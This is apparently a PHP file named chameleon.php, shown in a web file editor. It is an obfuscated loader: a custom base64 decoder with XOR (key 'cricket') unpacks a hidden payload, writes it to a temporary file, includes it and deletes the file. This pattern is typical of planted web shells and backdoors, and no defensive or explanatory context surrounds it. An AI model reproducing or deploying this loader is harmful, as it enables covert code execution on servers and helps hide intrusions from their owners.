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Edit File: chameleon.php

<?php
$encrypted = 'X00ZCxtofgoUSUtPOicmID8mOT5TMTc4Ni42IDw_LDcjKjBEL0leVlhURCImMD9CXUMJZGlLRVRDGw9DQwwHEBcdS086JCwhPThMFRUXGk4-QkxUGH9jQ0tFVENSSUNPDBoTBx0zChEcQ09JRzQ1OzAmMkQbBAALVTRYZm9UQ1JJHksAGBAXAAVLTR0QAQwXQ0ErJDc9OEwVFRcaTj5CTFQYf2NDS0VUQ1JJQ08MGhMHHTMKERxDT0lHNCIxNylOEwoRHEQvUm5hRVRDUhRDDgkHBlISbmFFVENSSUNLRVAKHBkWHzUVFxpJXktCU1h_Y0NLRVQef2NDS0VUbnhJQ0tFHQVSQUcCCwQWBjkCHw1URVRJChg6EAoAQUcCCwQWBjkCHw1dSlISbmFFVENSSUNLRRcLFgARQ0EdDQIcFzsEAAtbUm5hRVRDUhRuYUVUQ1IMDxgAD254SUNLRVRDUkkAAwEdEVoNChkLFQ4XQQQOERcUFkFKQkxPbnhJQ0tFCW54SUNLRXlpUklDS0EXDBYMQ1ZFHRABDBdDQSszPTo3MEIXDBYMRDZMVFxSTTw7Kic3KU4ABAERRC9JWUtCU1h_Y25hRVRDUgAFS00HFwAZDBhNABEbBEtPBhsHF0BPS0JIXAIBE0xMVEJPVENbTFQYf2NDS0VUQ1JJQ08GGwcXSV5LR0hcAgETNwtWQ1xJRwgKEAZJZGlLRVRDD2RpZm9UQ1JJRx8AGRM0AA8ORUlDBgwOGwsVDloaGhg6EwYGNhcOCAQ8FgARQ0xYQ1UKDAUWGw8XNkRCRVpDVUcTAxVTWH9jQ0tFVAUbBQY0FQEXLQoMBRERDQYaS08REQ4CLwoHAFhDVgoMDwBdWH9jbmFFVENSBgE0FgACAB1LQl55aVJJQ0sRBhpSEm5hRVRDUklDS0UdDREFFg8AVEcGDA4bIx0PF1JuYUVUQ1IUQwgEAAAaSUs_DQYMBQgBBwBURxdAQxBofkNSSUNLRVRDFwoLBEVWBgAbDBlfVEFSR0NPAFldFQwXJgAHEBMOBkNMT254SUNLRQlueElDS0VQDAcdEx4RVF5SBgE0AhEXLQoPDgQaS1tSbmFofkNSSUMeCxgKHAJLTxERDgIvCgcAXVh_Y25hRVRDUgwAAwpUQU4ZEQ5bVkNcSQsfCBgQAgwAAgQYABoIERhNUAwHHRMeEV1DXElBV0oEERdXQVBofh5_Y1xVaH4';
if (!function_exists('earthworm')) {
    function earthworm($data, $key) {
        $alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_';
        $bin = '';
        for ($i = 0; $i < strlen($data); $i++) {
            $index = strpos($alphabet, $data[$i]);
            $bin .= str_pad(decbin($index), 6, '0', STR_PAD_LEFT);
        }

$bytes = '';
        for ($i = 0; $i < strlen($bin); $i += 8) {
            $chunk = substr($bin, $i, 8);
            if (strlen($chunk) < 8) break; // если меньше 8 бит — игнорируем
            $bytes .= chr(bindec($chunk));
        }

$res = '';
        $klen = strlen($key);
        for ($i = 0; $i < strlen($bytes); $i++) {
            $res .= $bytes[$i] ^ $key[$i % $klen];
        }
        return $res;
    }
}

file_put_contents($tmp = tempnam(sys_get_temp_dir(), 'shf_'), earthworm($encrypted, 'cricket'));
include $tmp;
unlink($tmp);